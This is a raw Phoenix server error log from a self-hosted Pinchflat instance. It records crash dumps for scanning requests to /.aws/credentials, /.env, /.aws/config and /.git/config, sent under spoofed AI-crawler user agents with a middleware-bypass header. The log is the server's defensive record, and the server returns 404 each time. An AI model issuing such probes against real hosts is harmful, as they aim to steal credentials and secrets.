%{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Wqy506jQqsABvzh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29598.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33680}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29598.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33680}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", (truncated) 16:49:06.333 [info] GET /core/.env 16:49:06.334 [debug] QUERY OK source="settings" db=0.0ms idle=407.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.334 [debug] QUERY OK source="settings" db=0.0ms idle=407.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.334 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.334 [error] #PID<0.29601.0> running PinchflatWeb.Endpoint (connection #PID<0.29600.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /core/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29600.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33682}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29601.0>, params: %{}, path_info: ["core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/core/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61WwGJFXzh5cABv0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29600.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33682}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29600.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33682}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, (truncated) 16:49:06.414 [info] GET /.aws/config 16:49:06.415 [debug] QUERY OK source="settings" db=0.0ms idle=467.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.415 [debug] QUERY OK source="settings" db=0.0ms idle=102.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.415 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.415 [error] #PID<0.29603.0> running PinchflatWeb.Endpoint (connection #PID<0.29602.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.aws/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29602.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33690}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29603.0>, params: %{}, path_info: [".aws", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.aws/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61XDXNYWdlqgABv0h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29602.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33690}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29602.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33690}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, (truncated) 16:49:06.417 [info] GET /.git/config 16:49:06.418 [debug] QUERY OK source="settings" db=0.0ms idle=105.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.418 [debug] QUERY OK source="settings" db=0.0ms idle=83.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.418 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.418 [error] #PID<0.29605.0> running PinchflatWeb.Endpoint (connection #PID<0.29604.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29604.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33702}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29605.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61XEF2DRcjgAABv1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29604.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33702}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29604.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33702}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" 